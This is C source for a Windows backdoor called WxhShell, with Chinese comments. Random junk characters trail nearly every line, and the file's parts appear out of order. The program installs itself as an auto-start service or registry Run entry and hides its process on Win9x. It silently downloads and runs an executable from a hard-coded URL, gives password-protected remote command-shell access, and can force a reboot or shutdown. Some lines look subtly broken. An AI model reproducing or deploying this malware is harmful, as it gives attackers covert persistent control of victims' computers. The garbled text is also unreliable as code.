    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U7G|4(  
    else { !" : arK  
    closesocket(wsh); 1xwq:vFC.  
    ExitThread(0); )sapUnqrlR  
    } s_,&"->  
    break; <zu)=W'R]  
    } ,-BZsZ0~  
  // 获取shell gwYTOs ^  
  case 's': { g: "Hg-s  
    CmdShell(wsh); wD[qE  
    closesocket(wsh); hpticW|  
    ExitThread(0); >2)!w  
    break; 3lNw*M|")  
  } uMP&.Y(  
  // 退出 L^nS%lm  
  case 'x': { Xg97[I8/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); < YuI}d~'  
    CloseIt(wsh); \y/+H  
    break; JDC,]  
    } 5TdI  
  // 离开 W&^2Fb  
  case 'q': { M~!LjJg;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); to 3i!b  
    closesocket(wsh); yM34GS=,J  
    WSACleanup(); 1'* {Vm M  
    exit(1); Xgm9>/y  
    break; ;:gx;'dm5  
        } Eb9M;u  
  } P^*gk P  
  } :Ee5:S   
fKT(.VN q5  
  // 提示信息 GgjBLe=C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6d/b*,4[  
} fmq^AnKd  
  } FkT % -I  
jfrUOl'l  
  return; 'w7{8^Z2  
} {EupB?  
8|,-P=%t  
// shell模块句柄 G,i%:my7  
int CmdShell(SOCKET sock) gM3gc;  
{ LvS3c9|Aj  
STARTUPINFO si; =;xlmndT,  
ZeroMemory(&si,sizeof(si)); ; bDFrG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /7zy5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `24:Eg6r  
PROCESS_INFORMATION ProcessInfo; N,_ej@L8  
char cmdline[]="cmd"; yc5n   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I!Za2?  
  return 0; `P4qEsZE>`  
} gf2w@CVF>=  
_E[{7 "3}  
// 自身启动模式 Qs{Qg<}  
int StartFromService(void) ]R{=|  
{ 2=NYBOE  
typedef struct  Q-&]Vg  
{ M>k7 '@G  
  DWORD ExitStatus; w02HSQ  
  DWORD PebBaseAddress; }Mo9r4}  
  DWORD AffinityMask; %jM|*^\%  
  DWORD BasePriority; L7%'Y}1e.  
  ULONG UniqueProcessId; z:R2Wksg  
  ULONG InheritedFromUniqueProcessId; 4%j&]PASa1  
}   PROCESS_BASIC_INFORMATION; |qNrj~n@  
LGCL*Qbsg  
PROCNTQSIP NtQueryInformationProcess; Sb[rSczS~  
o6K BJx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  )Bk?"q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FZmYv%J  
(^Do#3  
  HANDLE             hProcess; 0QIocha  
  PROCESS_BASIC_INFORMATION pbi; emS+%6U  
k*c:%vC!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [I4FU7mpH  
  if(NULL == hInst ) return 0; cuk2\> Xl  
Nd!2 @?V4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "x$S%:p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .Na>BR\F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NV-9C$<n2!  
,em6wIq,  
  if (!NtQueryInformationProcess) return 0; pr0V)C6  
t1Khf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #CQ>d8&  
  if(!hProcess) return 0; 0XYO2 k  
{Rj'=%h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _@prv7e  
Ft.BfgJ$  
  CloseHandle(hProcess); mQs'2Y6Oa  
JcVq%~ {M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HIa$0g0J  
if(hProcess==NULL) return 0; Em"X5>;4  
'/ &"  
HMODULE hMod; T*T.\b  
char procName[255]; Z%OSW  
unsigned long cbNeeded; >;3c; nf  
4QZy-a*tA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B?%D   
j'J*QK&Q  
  CloseHandle(hProcess); #Aanv  
0~1P&Qs<  
if(strstr(procName,"services")) return 1; // 以服务启动 VDmd+bvJV  
c\b>4 &n  
  return 0; // 注册表启动 !Z'm@,+  
} +li^0+3-'  
( L6`_)  
// 主模块 #*]= %-A  
int StartWxhshell(LPSTR lpCmdLine) `A^} X  
{ -<O:isB   
  SOCKET wsl; zuPH3Q={  
BOOL val=TRUE; P*T)/A%4  
  int port=0; )eV40l$ M  
  struct sockaddr_in door; w9PY^U.Y3e  
::`j@ ]  
  if(wscfg.ws_autoins) Install(); |B`tRq  
?GC0dN  
port=atoi(lpCmdLine); jw[`_  
7=AKQ7BB>b  
if(port<=0) port=wscfg.ws_port; vZDQ@\HrC  
,`7GI*Vq  
  WSADATA data; M1M]]fT0ME  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -)I_+N  
K/,lw~>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t3XMQ']  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zLn#p]  
  door.sin_family = AF_INET; nz',Zm},  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sq^"bLw  
  door.sin_port = htons(port); M#>GU<4"  
} R/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W[m_IY  
closesocket(wsl); yN o8R[M  
return 1; UiEB?X]-l'  
} IyuT=A~Ki  
F3'X  
  if(listen(wsl,2) == INVALID_SOCKET) { <FK><aA_i*  
closesocket(wsl); W%W. +f  
return 1; QaO`:wJj  
} DRIv<=Bt  
  Wxhshell(wsl); h5gXYmk  
  WSACleanup(); o%5bg(  
\nyFN  
return 0; bcs!4  
~z}au"k  
} !T{g& f  
Z%R%D*f@y  
// 以NT服务方式启动 <<1oc{i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =KZ4:d5  
{ Vel;t<1  
DWORD   status = 0; u@E M,o  
  DWORD   specificError = 0xfffffff; PS22$_}   
("oA{:@d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0R]CI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bsr y([N>w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XL3h ; $,  
  serviceStatus.dwWin32ExitCode     = 0; z&0V21"l  
  serviceStatus.dwServiceSpecificExitCode = 0; f.$o|R=v  
  serviceStatus.dwCheckPoint       = 0; z)~!G~J]  
  serviceStatus.dwWaitHint       = 0; t_rDXhM  
[s2V-'2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  c$|dK  
  if (hServiceStatusHandle==0) return; 9-^p23.@[j  
ftPw6  
status = GetLastError(); QA(,K}z~^S  
  if (status!=NO_ERROR) h'x~"k1  
{ TH!8G,(w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pQY>  
    serviceStatus.dwCheckPoint       = 0; G~L?q~b  
    serviceStatus.dwWaitHint       = 0; `RcNqPY#S  
    serviceStatus.dwWin32ExitCode     = status; RX1{?*r]Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; JY+[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); srLr~^$j[  
    return; &^_(xgJL  
  } (O2HB-<rY  
MGz F+ln^U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V2,WP  
  serviceStatus.dwCheckPoint       = 0; n y)P  
  serviceStatus.dwWaitHint       = 0; YMTA`T(+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^^SfIK?p  
} o z{j2%  
syf"{bBe  
// 处理NT服务事件,比如:启动、停止 61/zrMPn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8!GLw-kb  
{ i)i)3K2  
switch(fdwControl) Ekme62Q>u  
{ k#JG  
case SERVICE_CONTROL_STOP: &'b}N  
  serviceStatus.dwWin32ExitCode = 0; /AW>5r]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B7MW" y  
  serviceStatus.dwCheckPoint   = 0; ] <3?=$  
  serviceStatus.dwWaitHint     = 0; 1qe^rz|  
  { %UQB?dkf$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Zh _Q  
  } 8M9\<k6  
  return; ^&H=dYcV>/  
case SERVICE_CONTROL_PAUSE: k)V%.Eobf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U]0)$OH5e  
  break; \]A;EwC4C  
case SERVICE_CONTROL_CONTINUE: _vV&4>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AsLjU#jn  
  break; M%s$F@  
case SERVICE_CONTROL_INTERROGATE: ~vV )|  
  break; [?@wCY4=  
}; BkxhF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ,nR8l  
} D(6x'</>?  
}~r6>7I  
// 标准应用程序主函数 YB~t|m65  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j(C UYm  
{ @:9fS  
t} i97;  
// 获取操作系统版本 :wZ`>,K"t>  
OsIsNt=GetOsVer(); B"9hQb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iv+jv2ZF%  
d5"EvT  
  // 从命令行安装 8]":[s6x  
  if(strpbrk(lpCmdLine,"iI")) Install(); <>i+R#u{  
n qLAby_  
  // 下载执行文件 -5v.1y=!L  
if(wscfg.ws_downexe) { gQ=POJ=G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S<!_ uq  
  WinExec(wscfg.ws_filenam,SW_HIDE); |zq!CLjD@  
} G+ v, Hi1  
Rgfhs[Z  
if(!OsIsNt) { }K80G~O2<  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^Lmc%y  
HideProc(); C'czXZtn  
StartWxhshell(lpCmdLine); C!{AnWf  
} NS4'IR=;E!  
else YB B$uGA  
  if(StartFromService()) G7A bhb,  
  // 以服务方式启动 N@*wi"Q  
  StartServiceCtrlDispatcher(DispatchTable); V<2fPDZ  
else w;@25= |  
  // 普通方式启动 /rxltF3  
  StartWxhshell(lpCmdLine); ZoON5P>  
cia-OVX  
return 0; L\m!8o4  
} <cv2-?L{  
'gZbNg=&[  
H<Kkj  
vk)0n=  
=========================================== 0 \Yx.\X,  
,0uo&/Y4L  
[AX"ne# M*  
aaz"`,7_  
+'['HQ)  
|@ZqwC=  
" 2PR7M.V 7  
6{+_T  
#include <stdio.h> }u-S j/K  
#include <string.h> l IVxW+  
#include <windows.h> w"a 9'r  
#include <winsock2.h> vDW&pF_eI>  
#include <winsvc.h> 4l ZJb  
#include <urlmon.h> HKiVEg  
H*{k4  
#pragma comment (lib, "Ws2_32.lib") kV\-%:-  
#pragma comment (lib, "urlmon.lib") Ue3B+k9w  
}kCn@  
#define MAX_USER   100 // 最大客户端连接数 P,/13tZ#3  
#define BUF_SOCK   200 // sock buffer `[@^m5?b-  
#define KEY_BUFF   255 // 输入 buffer 2rO)qjiH  
M*O(+EM  
#define REBOOT     0   // 重启 &cu] vw  
#define SHUTDOWN   1   // 关机 *hZ~i{c,7  
;Lsjh#  
#define DEF_PORT   5000 // 监听端口 GL 5^_`n  
i9;27tT~<  
#define REG_LEN     16   // 注册表键长度 }*.:Hv"  
#define SVC_LEN     80   // NT服务名长度 uGa(_ut  
'l' X^LMD  
// 从dll定义API 0n*rs=\VG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AGEZ8(h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ByhOK}u;P4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3|~(?4aE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V9zywM  
?..i4  
// wxhshell配置信息 WbQhl sc:  
struct WSCFG { mX@j  
  int ws_port;         // 监听端口 mNx,L+ 3  
  char ws_passstr[REG_LEN]; // 口令 jy!f{dsC  
  int ws_autoins;       // 安装标记, 1=yes 0=no Eg`R|CF  
  char ws_regname[REG_LEN]; // 注册表键名 }$|%/Y  
  char ws_svcname[REG_LEN]; // 服务名 3q#"i&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m)@Q_{=6M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mr=}B6`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K5!";V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3s?v(1 {)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _b0S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m|[\F#+C  
&@4.;u  
}; NWJcFj_  
Z[#I"-Q~:  
// default Wxhshell configuration  Iys6R?~  
struct WSCFG wscfg={DEF_PORT, HZDk <aU/!  
    "xuhuanlingzhe", { r6]MS#l1  
    1, O1?B{F/ e  
    "Wxhshell", 5;F P.{+  
    "Wxhshell", FgOUe  
            "WxhShell Service", *MYt:ms  
    "Wrsky Windows CmdShell Service", (|g").L  
    "Please Input Your Password: ", >`hSye{  
  1, Gva}J 6{  
  "http://www.wrsky.com/wxhshell.exe", ?eL='>Ne  
  "Wxhshell.exe" r7Nu>[r5  
    }; j6tP)f^tD  
m\6SG' X  
// 消息定义模块 vIVw'Z(g}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; # #k #q=4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @A [)hk&(R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M5']sdR(l  
char *msg_ws_ext="\n\rExit."; /rIm7FW)  
char *msg_ws_end="\n\rQuit."; -l-AToO4  
char *msg_ws_boot="\n\rReboot..."; =<[7J]%  
char *msg_ws_poff="\n\rShutdown..."; t/JOERw  
char *msg_ws_down="\n\rSave to "; ATMc`z:5T  
jOBY&W0r  
char *msg_ws_err="\n\rErr!"; *nYB o\@g  
char *msg_ws_ok="\n\rOK!"; M4TrnZ1D}  
gI)w^7Gi  
char ExeFile[MAX_PATH]; kF+ZW%6N  
int nUser = 0; ra]!4Kd'  
HANDLE handles[MAX_USER]; iD%qy/I/  
int OsIsNt; Az U|p  
MxY50 ^}(  
SERVICE_STATUS       serviceStatus; tCZpfZ@+=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4)c+t"h  
IIq"e~"Vs  
// 函数声明 ')C|`(hs   
int Install(void); ,3:QB_  
int Uninstall(void); cJP'ShnCh  
int DownloadFile(char *sURL, SOCKET wsh); `aO.=:O_  
int Boot(int flag); >65 TkAp  
void HideProc(void); "0|BoG  
int GetOsVer(void); m9#}X_&x  
int Wxhshell(SOCKET wsl); X,>(Y8  
void TalkWithClient(void *cs); 3%XG@OgP  
int CmdShell(SOCKET sock); ^pJ0nY# c  
int StartFromService(void); {B@*DQv  
int StartWxhshell(LPSTR lpCmdLine); .=Pm>o/,  
b\1+kB/8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n<{aPLQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {hxW,mmA  
M} O[`Fx{W  
// 数据结构和表定义 +->\79<#V(  
SERVICE_TABLE_ENTRY DispatchTable[] = Dp!;7e s|  
{ yrO?Np  
{wscfg.ws_svcname, NTServiceMain}, Jf_]Z  
{NULL, NULL} c`-YIz)W  
}; De;,=BSp  
(tJ91SBl  
// 自我安装 Qn *6D  
int Install(void) G-2EQ.  
{ v-ThdE$G#  
  char svExeFile[MAX_PATH]; ^[en3aQ  
  HKEY key; 6/|U  
  strcpy(svExeFile,ExeFile); c2/FHI0J;  
wOjv[@d  
// 如果是win9x系统,修改注册表设为自启动 DWuRJ  
if(!OsIsNt) { ?#4+r_dP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bKYY{V55  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~Y% : 3  
  RegCloseKey(key); ,MRvuw0P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { * !X4&#xP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5QR}IxQ  
  RegCloseKey(key); GXO4x|08F  
  return 0; =Wj{]&`  
    } O-Dc[t%  
  } gyC^K3}  
} HH7[tGF  
else { _]P a>8X*  
_=uviMuE  
// 如果是NT以上系统,安装为系统服务 %=BtOM_2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); . /Y&\<  
if (schSCManager!=0) s}jlS  
{ 1sD~7KPg?  
  SC_HANDLE schService = CreateService *h2`^Z  
  ( PDhWFF  
  schSCManager, r9?o$=T  
  wscfg.ws_svcname, n-d:O\]  
  wscfg.ws_svcdisp, NNgK:YibD  
  SERVICE_ALL_ACCESS, $>;a 'f~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $;y1Q iel  
  SERVICE_AUTO_START, Cgo9rC~]  
  SERVICE_ERROR_NORMAL, gTnS[  
  svExeFile, .M8=^,h^K  
  NULL, B0v|{C   
  NULL, fO #?k<p  
  NULL, ,pn ) >  
  NULL, 9MT3T?IS  
  NULL rmoJ =.'  
  ); #7+]%;h  
  if (schService!=0) ^=k {~  
  { WI6(#8^p  
  CloseServiceHandle(schService); >ZX|4U[$P  
  CloseServiceHandle(schSCManager); jSB'>m]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1ADv?+j)A/  
  strcat(svExeFile,wscfg.ws_svcname); ;:U<ce=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O'OFz}x),  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A9t8`|1"%H  
  RegCloseKey(key); M</Wd{.g"  
  return 0; p/N62G  
    } x=h0Fq ,T  
  } 4HW;  
  CloseServiceHandle(schSCManager); )XpV u  
} b9y)wBC%`  
} G,B?&gFX  
r4EoJyt  
return 1;  f -7S:,  
} nz[ m3]  
zMr&1*CDX  
// 自我卸载 [NL -!  
int Uninstall(void) )&Mq,@  
{ ]9s\_A9  
  HKEY key; [-Cu4mff  
:b5XKv^  
if(!OsIsNt) { v[VC2D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e]+7DE  
  RegDeleteValue(key,wscfg.ws_regname); }Fm\+JOS   
  RegCloseKey(key); ?&6Q%IUW1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J]dW1boT@  
  RegDeleteValue(key,wscfg.ws_regname); ^@K WYAAW5  
  RegCloseKey(key); 8]HY. $E  
  return 0; %{U"EZ]D!  
  } dkpQ ZXi9%  
} rfc|`*m}0  
} K>$qun?5  
else { lQWBCJ8y  
u (AA`S"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^iuo^2+  
if (schSCManager!=0) cN5"i0xk  
{ wh*:\_!0\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZL,6_L/  
  if (schService!=0) t|_{;!^  
  { FD))'!>  
  if(DeleteService(schService)!=0) {  jC4O`  
  CloseServiceHandle(schService); o<nS_x  
  CloseServiceHandle(schSCManager); ~pRs-  
  return 0; j$mz3Yk  
  } 0X#+#[W  
  CloseServiceHandle(schService); &*A:[b\  
  } [EruyWK  
  CloseServiceHandle(schSCManager); bLco:-G1E1  
} G%$}WA]|  
} Bh,Q8%\6  
vbaC+AiX  
return 1; oBC]UL;8xJ  
} s*.3ZS5  
z>p]/Sa  
// 从指定url下载文件 ++0rF\&  
int DownloadFile(char *sURL, SOCKET wsh) )T/J  
{ Zt_r9xs>  
  HRESULT hr; &}E:jt}  
char seps[]= "/"; yuv4*  
char *token; "|hlDe<  
char *file; 8+ hhdy*b  
char myURL[MAX_PATH]; ` .$&T7  
char myFILE[MAX_PATH]; ` jyKCm.$#  
&//2eL  
strcpy(myURL,sURL); TA|s@T{  
  token=strtok(myURL,seps); ?9Ma^C;}  
  while(token!=NULL) 'B,KFA<  
  { {"t5\U6cKM  
    file=token; \ FXp*FbQ  
  token=strtok(NULL,seps); ~?d>fR:X  
  } ;Yv14{T!  
>uHb ^  
GetCurrentDirectory(MAX_PATH,myFILE); {!r#f(?uT  
strcat(myFILE, "\\"); _ ~[M+IO   
strcat(myFILE, file); 1fRP1  
  send(wsh,myFILE,strlen(myFILE),0); %4/xH 9  
send(wsh,"...",3,0); JRo;(wqZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Bq;1^gtpe  
  if(hr==S_OK) x9D/s`!  
return 0; d#8e~  
else .:N:pWe  
return 1; _JA:.V^3gm  
!=y Q)l2  
} @h9K  
ol}`Wwy  
// 系统电源模块 .6Fsw    
int Boot(int flag) fM2^MUp[=1  
{ TRy^hr8~  
  HANDLE hToken; Fpf><Rn  
  TOKEN_PRIVILEGES tkp; G AEZY  
7"a4/e;^  
  if(OsIsNt) { h7*O.Opm=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zofx+g\(W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UKj`_a6  
    tkp.PrivilegeCount = 1; =Epq%,4nG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y;QQ| =,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B:nK)"{  
if(flag==REBOOT) { M $uf:+F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A%n?}  
  return 0; ST% T =_q  
} s??czM2O  
else { yV2e5/i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [T]Bfo  
  return 0; |6*Va%LYO-  
} +A\V)  
  } q:8\ e  
  else { K_&_z  
if(flag==REBOOT) { b5S7{"<V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5*1#jiq  
  return 0; 61>f(?s  
} N iISJWk6'  
else { `;/XK,m-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uY]T:UVk  
  return 0; ]5)"gL%H`  
} .<.#aY;N  
} cmIT$?J  
WGMb8 /{$P  
return 1; }^9paU  
} I&\4C.\>  
AK;^9b-}q:  
// win9x进程隐藏模块 y]^#$dK(z  
void HideProc(void) F|*tNJU>  
{ snq;:n!   
j%WY ,2P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ro~fvL~Ps  
  if ( hKernel != NULL ) 10O3Z9  
  { 63C(Tp"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PkO!'X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1a*6ZGk.  
    FreeLibrary(hKernel); kC31$jMC3!  
  } H:{?3gk.P3  
sZwZWD'  
return; yKlU6t&` G  
} i7s\CY  
.R\p[rv&  
// 获取操作系统版本 C=yD3mVz  
int GetOsVer(void) uQ^hV%|"  
{ 67?n-NP  
  OSVERSIONINFO winfo; 2`E! |X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eo ?Oir)  
  GetVersionEx(&winfo); B/G3T u uG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <p/MyqZf  
  return 1; r,"7%1I  
  else vnZ4(  
  return 0; |(&oI(l5K  
} 3sb 5E]P  
vzcz<i )  
// 客户端句柄模块 l1DI*0@  
int Wxhshell(SOCKET wsl) 1OP" 5f  
{ k:mlt:  
  SOCKET wsh; ]LVnt-q  
  struct sockaddr_in client; Z)5klg$c  
  DWORD myID; ]!J<,f7W  
ki3 HcV  
  while(nUser<MAX_USER) -O%[!&`  
{ Z'e\_C  
  int nSize=sizeof(client); cyBW0wV1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g<\>; }e  
  if(wsh==INVALID_SOCKET) return 1; w?S8@|MK  
d EI a=e|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #'8)u)!  
if(handles[nUser]==0) 6i-*N[!U  
  closesocket(wsh); )WmZP3$^TX  
else F3 Y<ZbxT  
  nUser++; {6:& %V  
  } 3; A$<s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |,{+;:  
8m|x#*5fQl  
  return 0; *W%'Di  
} y qkX:jt  
nNu[c[V  
// 关闭 socket Pj._/$R[/  
void CloseIt(SOCKET wsh) W8VO)3nmD  
{ KX=/B=3~  
closesocket(wsh); M/l95fp   
nUser--; 2^J/6R$  
ExitThread(0); 7N6zqjIB  
} hR0]8l|  
r.?+gW!C  
// 客户端请求句柄 A]#_"fayo  
void TalkWithClient(void *cs) W#V fX!~  
{ [NjajA~z>F  
WkP|4&-<  
  SOCKET wsh=(SOCKET)cs; %_)b>C18 y  
  char pwd[SVC_LEN]; ?;fv!'?%  
  char cmd[KEY_BUFF]; GBW 7Y  
char chr[1]; 9>IsqYc  
int i,j; 'f8 p7 _F  
7> )l{7  
  while (nUser < MAX_USER) { dX 0x Kk%#  
]a=l^Pc(xN  
if(wscfg.ws_passstr) { eWw y28t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T%w(P ^qk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y/H8+0sEk  
  //ZeroMemory(pwd,KEY_BUFF); gsi<S6DQ8  
      i=0; F=V oFmF@  
  while(i<SVC_LEN) { a0 qj[+  
/CbkqNV  
  // 设置超时 Q6xgLx[  
  fd_set FdRead; ;=#qHo9k1%  
  struct timeval TimeOut; Xz" JY  
  FD_ZERO(&FdRead); /%;/pi  
  FD_SET(wsh,&FdRead); $sM]BE:  
  TimeOut.tv_sec=8; y^ 3,X_0  
  TimeOut.tv_usec=0; R4yJ.f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -^0KE/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =qan%=0"h  
I ;l`VtD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >"i~ x  
  pwd=chr[0]; ~;` fC|)  
  if(chr[0]==0xd || chr[0]==0xa) { f&f[La  
  pwd=0; =w t-YM  
  break; JLt{f=`%F  
  } L-SdQTx_  
  i++; RR8U Cv  
    } 3EO#EYAHiM  
Q:rT 9&G  
  // 如果是非法用户,关闭 socket ;>sq_4_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rC=f#YjR  
} h@ EJTAi  
<x^IwS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p {w}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N{|[R   
g\E ._ab<  
while(1) { I)qKS@  
(Jm(}X]sh[  
  ZeroMemory(cmd,KEY_BUFF); P~;<o! f  
+ESX.Vel  
      // 自动支持客户端 telnet标准   !:&2+%  
  j=0; S`iM.;|`O  
  while(j<KEY_BUFF) { nsy !p5o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zR_9D}  
  cmd[j]=chr[0]; ^o,y5 ,  
  if(chr[0]==0xa || chr[0]==0xd) { m21QN9(i%  
  cmd[j]=0; Ti /;|lP@  
  break; ,80jMs  
  } 3J23q  
  j++; tPQ2kEW  
    } PsacXZNs\N  
\t[ hg  
  // 下载文件 ^a: Saq-}  
  if(strstr(cmd,"http://")) { }x>}:"P;W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bwv/{3G,Ys  
  if(DownloadFile(cmd,wsh)) vr5<LNCLQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (8+.#1!*  
  else ,!xz*o+#@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d91I  
  } 8.6no  
  else { Aigcq38  
\ >&@lA  
    switch(cmd[0]) { V7qCbd^>XJ  
  q=(M!9cE  
  // 帮助 t"jIfU>'a/  
  case '?': { EY=\C$3J:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y=y/d>=w  
    break; ufHuI*  
